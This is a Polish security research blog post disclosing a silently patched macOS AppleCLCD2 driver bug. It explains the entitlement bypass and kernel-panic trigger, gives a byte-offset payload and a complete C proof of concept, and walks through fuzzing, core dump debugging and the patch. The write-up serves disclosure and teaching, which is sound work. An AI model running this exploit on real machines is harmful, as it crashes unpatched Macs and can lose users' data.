
W moim poprzednim artykule Historia dereferencji wskaźnika NULL w systemie macOS opisałem, w jaki sposób Apple wdraża liczne mechanizmy zabezpieczające, utrudniające wykorzystanie błędów związanych z NULL pointer dereference. Wspomniałem wtedy, że podczas fuzzowania odkryłem jedną z takich podatności. Niniejszy tekst jest rozszerzeniem tamtego wpisu. Podatność typu NULL pointer dereference została odkryta w sterowniku AppleCLCD2 w systemie macOS, konkretnie w metodzie zewnętrznej IOMobileFramebufferUserClient::s_swap_submit. Ten NULL pointer dereference występuje, gdy specjalnie spreparowany payload omija sprawdzanie uprawnień i dezorientuje mechanizm walidacji pamięci sterownika, powodując próbę NULL pointer dereference przez kernel i wywołanie kernel panic. Apple naprawiło ten błąd w wersji macOS 15.4, jednak zrobiło to po cichu, bez przypisania CVE ani oficjalnego uznania zgłoszenia, traktując problem jako klasyczny przypadek Denial of Service.
Miłej lektury!
NULL Pointer Dereference: Ogólny Przegląd Problemu
Odkryłem podatność typu NULL Pointer Dereference w sterowniku AppleCLCD2 w systemie macOS — konkretnie w metodzie zewnętrznej IOMobileFramebufferUserClient::s_swap_submit (selector 5).

Problem dotyczył dwóch kluczowych elementów:
- Ominięcie sprawdzania uprawnień (Entitlement Check Bypass): Umieszczenie pojedynczego bajtu o wartości zero pod offsetem
0x3F0w przesyłanym buforze pozwalało niezaufanym aplikacjom ominąć sprawdzanie uprawnieniacom.apple.private.gain-map-access. - Wywołanie korupcji pamięci i paniki kernela (Memory Corruption Trigger) Wstawienie czterech zerowych bajtów pod offsetem
0x430powodowało zmylenie mechanizmu walidacji pamięci w sterowniku, co prowadziło do NULL pointer dereference i wywołania kernel panic.
Apple naprawiło ten błąd w wersji macOS 15.4, jednak zrobiło to po cichu — bez przypisania CVE i bez oficjalnego uznania zgłoszenia. Potraktowano ten problem jako klasyczny przypadek Denial of Service, a nie podatność o charakterze bezpieczeństwa.
Tworzenie Payloadu dla NULL Pointer Dereference
Poniższy payload w formie bufora o długości 1300 bajtów pozwala w niezawodny sposób wywołać błąd:
payload = bytearray([0x41]*0x3F0) # Fill with 'A' characters
payload += bytearray([0x00]) # Bypass at offset 0x3F0
payload += bytearray([0x42]*7 + [0x43]*8 + [0x44]*48) # Padding
payload += bytearray([0x00, 0x00, 0x00, 0x00]) # Crash trigger at offset 0x430
payload += bytearray([0x46]*(1300-len(payload))) # Fill remaining spacePayload jest w rzeczywistości prostszy niż wygląda — wystarczy wysłać 0x3F0 bajtów dowolnej wartości, potem jeden bajt o wartości zero, a następnie cztery kolejne zera pod offsetem 0x430.
Kod PoC NULL Pointer Dereference
Pełny kod C wywołujący błąd i powodujący kernel panic:
/* AppleCLCD2_PoC.c by Karol Mazurek (@karmaz95)
Minimal demonstration that calls AppleCLCD2 selector=5 with a crafted 1300-byte input to:
- bypass the entitlement check
- and trigger a kernel crash due to zalloc_uaf_panic.
Compile example (macOS):
clang -o clcd2_poc AppleCLCD2_PoC.c -framework IOKit
Run:
./clcd2_poc
Expectation: system may panic due to zalloc_uaf_panic.
*/
#include <IOKit/IOKitLib.h>
#include <mach/mach_error.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Service name and selector
#define SERVICE_NAME "AppleCLCD2"
#define SERVICE_TYPE 0
#define SELECTOR 5
// The payload size must be 1300 (UserClient except inputStruct == 1300).
#define PAYLOAD_SIZE 1300
// Offsets of interest in the 1300-byte buffer.
#define OFFSET_BYPASS 0x3F0 // Byte that must be zero to skip entitlement check
#define OFFSET_CRASH 0x430 // Four bytes at 0x430 must be zero to trigger the crash (zalloc_uaf_panic)
static io_connect_t open_service(const char *name, uint32_t type);
int main(void)
{
// 1) Open AppleCLCD2
io_connect_t conn = open_service(SERVICE_NAME, SERVICE_TYPE);
if (!conn) {
return 1;
}
// 2) Create the 1300-byte payload
unsigned char *payload = (unsigned char*)calloc(PAYLOAD_SIZE, 1);
if (!payload) {
fprintf(stderr, "[-] Failed to allocate payload buffer\n");
IOServiceClose(conn);
return 2;
}
// Fill everything with 0x41
memset(payload, 0x41, PAYLOAD_SIZE);
// Put zero at 0x3F0 (bypass entitlement check).
payload[OFFSET_BYPASS] = 0x00;
// Put four zeros at 0x430 to provoke the crash.
memset(payload + OFFSET_CRASH, 0x00, 4);
printf("[*] Prepared a 1300-byte payload. Bypass offset=0x%X, crash offset=0x%X\n",
OFFSET_BYPASS, OFFSET_CRASH);
// 3) Call selector 5 with this payload
kern_return_t kr;
size_t inputStructCnt = PAYLOAD_SIZE;
kr = IOConnectCallMethod(conn,
SELECTOR,
NULL, 0,
payload, inputStructCnt,
NULL, NULL,
NULL, NULL);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "[-] IOConnectCallMethod(%s, %u) returned 0x%x (%s)\n",
SERVICE_NAME, SELECTOR, kr, mach_error_string(kr));
} else {
printf("[*] Call succeeded. If the driver is vulnerable, a panic may occur soon.\n");
}
// Cleanup
free(payload);
IOServiceClose(conn);
return 0;
}
// ----------------------------------------------------------------------
// Open a named IOService, returns io_connect_t or 0 on error.
static io_connect_t open_service(const char *name, uint32_t type)
{
io_service_t svc = IOServiceGetMatchingService(kIOMainPortDefault,
IOServiceMatching(name));
if (!svc) {
fprintf(stderr, "[-] No service named '%s'\n", name);
return 0;
}
io_connect_t conn = 0;
kern_return_t kr = IOServiceOpen(svc, mach_task_self(), type, &conn);
IOObjectRelease(svc);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "[-] IOServiceOpen(%s) = 0x%x (%s)\n",
name, kr, mach_error_string(kr));
return 0;
}
return conn;
}Kod powinien działać (wywoływać błąd) w macOS przed wersją 15.4 (przetestowano dla 15.3.2).
Odkrywanie NULL Pointer Dereference Poprzez Fuzzing
Buduję własny fuzzer do sterowników macOS i odtwarzam (reverse engineering) sposób działania ich metod zewnętrznych. Na ten moment jest to „głupi fuzzer”, który wymaga podania: nazwy sterownika, typu połączenia, numeru selektora oraz oczekiwanych wartości wejściowych. Mój typowy workflow jest następujący:
- Odnajduję metodę
newUserClientnp.IOMobileFramebufferAP::newUserClient - Analizuję ją i sprawdzam jakie typy połączeń obsługuje (większość sterowników akceptuje dowolną wartość)
- Identyfikuję metodę
externalMethoddla danego typu połączenia, np.IOMobileFramebufferUserClient::externalMethod - Analizuję obsługiwane selektory i ich wartości
Później zapisuję te informacje w formacie YAML obsługiwanym przez mojego fuzzera, np.:
IOMobileFramebufferAP: # (AppleCLCD2) IOMobileFramebufferAP::newUserClient (proxied to IOMobileFramebufferLegacy)
0: # IOMobileFramebufferUserClient::externalMethod
0: [3, 0, 0, 0]
1: [0, 0, 0, 0]
2: [0, 0, 0, 0]
3: [2, 0, 1, 0]
4: [0, 0, 1, 0]
5: [0, 1300, 0, 0] # Vulnerable to Null Pointer DereferenceUruchamiam fuzzer i zajmuję się czymś innym, czekając na ewentualny crash. Stworzyłem nawet prostą aplikację, która informuje mnie o wykrytym crashu przez Telegrama — ale to temat na osobny artykuł.
Analiza Awarii NULL Pointer Dereference
Gdy natrafiłem na crash w sterowniku AppleCLCD2, zwróciły moją uwagę wartości rejestrów:
panic(cpu 2 caller 0xfffffe0008fe9964): Kernel data abort. at pc 0xfffffe001fe728c4
x0: 0x0000000000000000 x1: 0x0000000000000003
esr: 0x7373657296000006 far: 0x0000000000000000Zerowe wartości w rejestrach x0 i far to klasyczne symptomy NULL pointer dereference. Crash wystąpił w funkcji zalloc_validate_element, co sugeruje naruszenie integralności pamięci.
Analiza Przepływu Kodu NULL Pointer Dereference
Załadowałem pamięć podręczną jądra do IDA i odnalazłem obsługę selektora. Przebieg wykonania kodu wygląda następująco:
┌────────────┐
│ User Space │
│ (./poc) │
└────┬───────┘
│
│ IOConnectCallMethod(..., selector=5, inputSize=1300, ...)
▼
┌────────────────────────────┐
│ s_swap_submit (wrapper) │
│ - Checks entitlements │
│ - Reads internal pointers │
│ - Calls swap_submit(...) │
└────────────┬───────────────┘
▼
┌────────────────────────────┐
│ swap_submit │
│ - Verifies input== 1300 │
│ - Retrieves v5() pointer │
│ - Calls v5() function │
└────────────┬───────────────┘
▼
┌────────────────────────────────────────────────┐
│ v5() → IOMobileFramebufferLegacy::swap_submit │
│ - Reads swapID, enabled, completed from input │
│ - Calls a driver function │ <-- CRASH OCCURS HERE - it
│ - Logs "IOMFB_SWAP_SUBMIT_LOST" │
└────────────────────────────────────────────────┘Wrażliwy kod w ścieżce sprawdzania uprawnień został pokazany poniżej. Poprzez wyzerowanie bajtu na offsetcie 0x3F0, tworzymy sytuację, w której *(v6 + 1008) przyjmuje wartość 0, całkowicie pomijając sprawdzenie uprawnień.
if (v6 && *(v6 + 1008) &&
!IOMobileFramebufferUserClient::isEntitlementSet(
"com.apple.private.gain-map-access", this[29], a3)) {
return 0xE00002C1LL;
}Problem z NULL pointer dereference występuje w innym miejscu i nie udało mi się go osiągnąć w IDA.
Analiza Core Dump NULL Pointer Dereference
Aby namierzyć miejsce awarii, wyłączyłem mechanizmy ochrony SIP (System Integrity Protection) i ustawiłem parametry rozruchowe nvram:
nvram boot-args="debug=0xCC44 wdt=-1"Dzięki temu możliwe było wygenerowanie pełnego zrzutu pamięci jądra (core dump). Następnie uruchomiłem przygotowany exploit (PoC), poczekałem aż system się zawiesi (kernel panic), a po restarcie załadowałem core dump do debuggera LLDB:
lldb -c YYYY-MM-DD-TIME.kernel.coreW zrzucie pamięci (core dump) udało się odczytać stan rejestrów oraz instrukcji w chwili awarii (fragment logów z LLDB). Rejestry oraz instrukcje w chwili awarii:
(lldb) reg read
General Purpose Registers:
x0 = 0x0000000000000000
x1 = 0x0000000000000000
x2 = 0x0000000000000000
x3 = 0x0000000000000000
x4 = 0xfffffe24ccb0a980
x5 = 0xb6fb7e002422e308 (0xfffffe002422e308) kernel.release.t6000`OSArray::initWithObjects(OSObject const**, unsigned int, unsigned int) at OSArray.cpp:84
x6 = 0x0000000000000000
x7 = 0xfffffe00274ba960
x8 = 0x0000000000000040
x9 = 0x0000000000000000
x10 = 0xfffffe10007b9f10
x11 = 0x0000000000000001
x12 = 0x000000000000000e
x13 = 0x0000000000003570
x14 = 0x0000000000000010
x15 = 0xfffffe00274cfb80 kernel.release.t6000`audio_active + 40064
x16 = 0xfffffe00230c1650 kernel.release.t6000`vtable for OSCollectionIterator::MetaClass + 184
x17 = 0x1601fe00230c1650
x18 = 0x0000000000000000
x19 = 0xfffffe00274d4b00 kernel.release.t6000`audio_active + 60416
x20 = 0x00000000000d1004
x21 = 0x0000000000000030
x22 = 0xfffffe24cccdf8e0
x23 = 0xfffffe1666c57ab0
x24 = 0x0000000000000000
x25 = 0x0000000000000030
x26 = 0xfffffe002752d000 kernel.release.t6000`_NSConcreteFinalizingBlock + 232
x27 = 0xfffffe0027536998 kernel.release.t6000`IOPowerConnection::gMetaClass
x28 = 0x0000000000000001
fp = 0xfffffe5000a5bc00
lr = 0xfce7fe0023c24754 (0xfffffe0023c24754) kernel.release.t6000`zalloc_ext + 176 [inlined] zalloc_validate_element + 16 at zalloc.c:3162:6
kernel.release.t6000`zalloc_ext + 160 [inlined] zalloc_return at zalloc.c:6661:2
kernel.release.t6000`zalloc_ext + 160 at zalloc.c:6983:11
sp = 0xfffffe5000a5bbd0
pc = 0xfffffe0023c24754 kernel.release.t6000`zalloc_ext + 176 [inlined] zalloc_validate_element + 16 at zalloc.c:3162:6
kernel.release.t6000`zalloc_ext + 160 [inlined] zalloc_return at zalloc.c:6661:2
kernel.release.t6000`zalloc_ext + 160 at zalloc.c:6983:11
cpsr = 0x40401208
(lldb) di
kernel.release.t6000`zalloc_ext:
0xfffffe0023c246a4 <+0>: pacibsp
0xfffffe0023c246a8 <+4>: stp x24, x23, [sp, #-0x40]!
0xfffffe0023c246ac <+8>: stp x22, x21, [sp, #0x10]
0xfffffe0023c246b0 <+12>: stp x20, x19, [sp, #0x20]
0xfffffe0023c246b4 <+16>: stp x29, x30, [sp, #0x30]
0xfffffe0023c246b8 <+20>: add x29, sp, #0x30
0xfffffe0023c246bc <+24>: mov x20, x2
0xfffffe0023c246c0 <+28>: mov x22, x1
0xfffffe0023c246c4 <+32>: mov x19, x0
0xfffffe0023c246c8 <+36>: mrs x8, TPIDR_EL1
0xfffffe0023c246cc <+40>: ldr w9, [x8, #0x1b0]
0xfffffe0023c246d0 <+44>: add w9, w9, #0x1
0xfffffe0023c246d4 <+48>: str w9, [x8, #0x1b0]
0xfffffe0023c246d8 <+52>: ldr x10, [x0, #0x40]
0xfffffe0023c246dc <+56>: cbz x10, 0xfffffe0023c24810 ; <+364> at zalloc.c:6988:9
0xfffffe0023c246e0 <+60>: ldrh w9, [x8, #0x1a0]
0xfffffe0023c246e4 <+64>: lsl x9, x9, #14
0xfffffe0023c246e8 <+68>: add x3, x9, x10
0xfffffe0023c246ec <+72>: ldrh w10, [x3, #0x4]
0xfffffe0023c246f0 <+76>: cbz w10, 0xfffffe0023c247bc ; <+280> [inlined] zalloc_cached_get_pcpu_cache at zalloc.c:6897:6
0xfffffe0023c246f4 <+80>: ldrh w21, [x19, #0x34]
0xfffffe0023c246f8 <+84>: ldr x10, [x9, x22]
0xfffffe0023c246fc <+88>: add x10, x10, x21
0xfffffe0023c24700 <+92>: str x10, [x9, x22]
0xfffffe0023c24704 <+96>: ldrh w9, [x3, #0x4]
0xfffffe0023c24708 <+100>: sub w9, w9, #0x1
0xfffffe0023c2470c <+104>: strh w9, [x3, #0x4]
0xfffffe0023c24710 <+108>: and x9, x9, #0xffff
0xfffffe0023c24714 <+112>: ldr x10, [x3, #0x8]
0xfffffe0023c24718 <+116>: lsl x9, x9, #3
0xfffffe0023c2471c <+120>: ldr x22, [x10, x9]
0xfffffe0023c24720 <+124>: str xzr, [x10, x9]
0xfffffe0023c24724 <+128>: ldr w9, [x8, #0x1b0]
0xfffffe0023c24728 <+132>: cbz w9, 0xfffffe0023c247e4 ; <+320> [inlined] _enable_preemption at preemption_disable.c:196:3
0xfffffe0023c2472c <+136>: subs w9, w9, #0x1
0xfffffe0023c24730 <+140>: str w9, [x8, #0x1b0]
0xfffffe0023c24734 <+144>: b.ne 0xfffffe0023c24744 ; <+160> [inlined] zalloc_validate_element at zalloc.c:3159:6
0xfffffe0023c24738 <+148>: ldr x8, [x8, #0x1a8]
0xfffffe0023c2473c <+152>: ldrb w8, [x8, #0x4c]
0xfffffe0023c24740 <+156>: tbnz w8, #0x2, 0xfffffe0023c247e8 ; <+324> [inlined] _enable_preemption_write_count at preemption_disable.c:103:11
0xfffffe0023c24744 <+160>: tbnz w20, #0xe, 0xfffffe0023c2475c ; <+184> [inlined] zalloc_return + 24 at zalloc.c:6665:2
0xfffffe0023c24748 <+164>: mov x0, x22
0xfffffe0023c2474c <+168>: mov x1, x21
0xfffffe0023c24750 <+172>: bl 0xfffffe0023b5a520 ; memcmp_zero_ptr_aligned
-> 0xfffffe0023c24754 <+176>: cbnz x0, 0xfffffe0023c24840 ; <+412> [inlined] zalloc_validate_element at zalloc.c:3163:3
0xfffffe0023c24758 <+180>: tbnz w20, #0xd, 0xfffffe0023c24784 ; <+224> [inlined] zpercpu_count at zalloc.c:2888:9
0xfffffe0023c2475c <+184>: mov x0, x19
0xfffffe0023c24760 <+188>: mov x1, x22
0xfffffe0023c24764 <+192>: nop
0xfffffe0023c24768 <+196>: mov x0, x22
0xfffffe0023c2476c <+200>: mov x1, x21
0xfffffe0023c24770 <+204>: ldp x29, x30, [sp, #0x30]
0xfffffe0023c24774 <+208>: ldp x20, x19, [sp, #0x20]
0xfffffe0023c24778 <+212>: ldp x22, x21, [sp, #0x10]
0xfffffe0023c2477c <+216>: ldp x24, x23, [sp], #0x40
0xfffffe0023c24780 <+220>: retab
0xfffffe0023c24784 <+224>: adrp x8, -3108
0xfffffe0023c24788 <+228>: ldr w23, [x8, #0x5d0]
0xfffffe0023c2478c <+232>: mov x20, x22
0xfffffe0023c24790 <+236>: subs x23, x23, #0x1
0xfffffe0023c24794 <+240>: b.eq 0xfffffe0023c2475c ; <+184> [inlined] zalloc_return + 24 at zalloc.c:6665:2
0xfffffe0023c24798 <+244>: add x20, x20, #0x4, lsl #12 ; =0x4000
0xfffffe0023c2479c <+248>: mov x0, x20
0xfffffe0023c247a0 <+252>: mov x1, x21
0xfffffe0023c247a4 <+256>: bl 0xfffffe0023b5a520 ; memcmp_zero_ptr_aligned
0xfffffe0023c247a8 <+260>: cbz x0, 0xfffffe0023c24790 ; <+236> [inlined] zalloc_validate_element + 12 at zalloc.c:3166:36
0xfffffe0023c247ac <+264>: mov x0, x19
0xfffffe0023c247b0 <+268>: mov x1, x20
0xfffffe0023c247b4 <+272>: mov x2, x21
0xfffffe0023c247b8 <+276>: bl 0xfffffe0024418d18 ; zalloc_uaf_panic at zalloc.c:3125
0xfffffe0023c247bc <+280>: ldrh w10, [x3, #0x6]
0xfffffe0023c247c0 <+284>: cbz w10, 0xfffffe0023c247f4 ; <+336> at zalloc.c
0xfffffe0023c247c4 <+288>: ldr x11, [x3, #0x30]
0xfffffe0023c247c8 <+292>: cbnz x11, 0xfffffe0023c247f4 ; <+336> at zalloc.c
0xfffffe0023c247cc <+296>: strh w10, [x3, #0x4]
0xfffffe0023c247d0 <+300>: strh wzr, [x3, #0x6]
0xfffffe0023c247d4 <+304>: ldur q0, [x3, #0x8]
0xfffffe0023c247d8 <+308>: ext.16b v0, v0, v0, #0x8
0xfffffe0023c247dc <+312>: stur q0, [x3, #0x8]
0xfffffe0023c247e0 <+316>: b 0xfffffe0023c246f4 ; <+80> [inlined] zone_elem_inner_size at zalloc_internal.h:670:15
0xfffffe0023c247e4 <+320>: bl 0xfffffe002441db88 ; _enable_preemption_underflow at preemption_disable.c:173
0xfffffe0023c247e8 <+324>: bl 0xfffffe0023d060c8 ; kernel_preempt_check at preemption_disable.c:68
0xfffffe0023c247ec <+328>: tbz w20, #0xe, 0xfffffe0023c24748 ; <+164> [inlined] zalloc_validate_element + 4 at zalloc.c:3162:6
0xfffffe0023c247f0 <+332>: b 0xfffffe0023c2475c ; <+184> [inlined] zalloc_return + 24 at zalloc.c:6665:2
0xfffffe0023c247f4 <+336>: mov x21, x9
0xfffffe0023c247f8 <+340>: mov x0, x19
0xfffffe0023c247fc <+344>: mov x1, #0x0 ; =0
0xfffffe0023c24800 <+348>: mov x2, x20
0xfffffe0023c24804 <+352>: mov x23, x8
0xfffffe0023c24808 <+356>: bl 0xfffffe0023c24860 ; zalloc_cached_prime at zalloc.c:6839
0xfffffe0023c2480c <+360>: cbnz x0, 0xfffffe0023c24850 ; <+428> at zalloc.c
0xfffffe0023c24810 <+364>: mov x0, x19
0xfffffe0023c24814 <+368>: mov x1, x22
0xfffffe0023c24818 <+372>: mov x2, x20
0xfffffe0023c2481c <+376>: ldp x29, x30, [sp, #0x30]
0xfffffe0023c24820 <+380>: ldp x20, x19, [sp, #0x20]
0xfffffe0023c24824 <+384>: ldp x22, x21, [sp, #0x10]
0xfffffe0023c24828 <+388>: ldp x24, x23, [sp], #0x40
0xfffffe0023c2482c <+392>: autibsp
0xfffffe0023c24830 <+396>: eor x16, x30, x30, lsl #1
0xfffffe0023c24834 <+400>: tbz x16, #0x3e, 0xfffffe0023c2483c ; <+408> at zalloc.c:6988:9
0xfffffe0023c24838 <+404>: brk #0xc471
0xfffffe0023c2483c <+408>: b 0xfffffe0023c24df4 ; zalloc_item at zalloc.c:6683
0xfffffe0023c24840 <+412>: mov x0, x19
0xfffffe0023c24844 <+416>: mov x1, x22
0xfffffe0023c24848 <+420>: mov x2, x21
0xfffffe0023c2484c <+424>: bl 0xfffffe0024418d18 ; zalloc_uaf_panic at zalloc.c:3125
0xfffffe0023c24850 <+428>: mov x8, x23
0xfffffe0023c24854 <+432>: mov x3, x0
0xfffffe0023c24858 <+436>: mov x9, x21
0xfffffe0023c2485c <+440>: b 0xfffffe0023c246f4 ; <+80> [inlined] zone_elem_inner_size at zalloc_internal.h:670:15Wszystko wskazuje na to, że nasz payload wprowadza sterownik w błąd, zmuszając go do przekazania wskaźnika o wartości NULL do funkcji walidującej pamięć. To z kolei powoduje, że funkcja zalloc_validate_element działa niepoprawnie — rozpoznaje sytuację jako błąd użycia już zwolnionej pamięci (use-after-free) i wywołuje panic systemu zalloc_uaf_panic:
void zalloc_validate_element(zone_t zone, void *element) {
if (memcmp_zero_ptr_aligned(element, zone->elem_size)) {
zalloc_uaf_panic(zone, element); // Triggers controlled panic
}
}Na tym etapie zdecydowałem się zgłosić ten problem do Apple jako podatność typu Denial of Service (DoS).
Poprawka Apple dla NULL Pointer Dereference
Aby sprawdzić w jaki sposób Apple załatało ten błąd, zdekompresowałem Kernel Cache z systemu macOS 15.4 i załadowałem go do IDA:
ipsw kernel dec $(ls /System/Volumes/Preboot/*/boot/*/System/Library/Caches/com.apple.kernelcaches/kernelcache) -o kernelcache
ida kernelcache.decompressedW IDA przechodzimy do funkcji IOMobileFramebufferUserClient::externalMethod i znajdujemy tablicę dispatchującą selektory (selectors dispatch array):

Następnie dla selektora nr 5 sprawdzamy przypisaną funkcję obsługi wykorzystując przedstawione wcześniej rozszerzenie IDA. Możemy do niej przejść poprzez dwukrotne kliknięcie odnośnika:

Porównując nową wersję kodu (po poprawce) ze starą, widać, że sprawdzenie uprawnień (entitlement check) zostało poprawione. Warunek jest teraz bardziej rygorystyczny — sprawdzany jest konkretny przypadek == 1 zamiast tylko != 0:

Logika funkcji swap_submit pozostała niezmieniona, jednak prawdopodobnie zmiany dotknęły funkcję, której nie analizowałem, mianowicie v5().

Zatem poprawka naprawiająca podatność NULL Pointer Dereference dotyczyła prawdopodobnie funkcji wywoływanej przez v5().
Podsumowanie
Szczerze mówiąc, byłem nieco rozczarowany, że nie otrzymałem żadnego uznania za to odkrycie — ale cóż, tak już bywa 😀 Apple po cichu załatało lukę w systemie macOS w wersji 15.4, ale przynajmniej pozwolili mi opisać cały przypadek publicznie.

Jeśli ktokolwiek z czytających znajdzie lepszy sposób na wykorzystanie tej podatności niż zwykłe wywołanie NULL Pointer Dereference — koniecznie dajcie mi znać! Ten case study ma przede wszystkim charakter edukacyjny — kierowany jest do osób zainteresowanych debugowaniem jądra systemu, inżynierią wsteczną oraz analizą bezpieczeństwa.
Jeśli ten wpis Cię zainteresował i jeżeli interesujesz się cyberbezpieczeństwem, zachęcam do regularnych odwiedzin naszego bloga AFINE, na którym regularnie pojawiają się nowe, wartościowe materiały. Jeśli interesuje Cię bezpieczeństwo systemu macOS, koniecznie dodaj do zakładek repozytorium Snake_Apple, gdzie w jednym miejscu znajdziesz wszystkie moje artykuły.
Mam nadzieję, że udało Ci się dowiedzieć czegoś nowego!




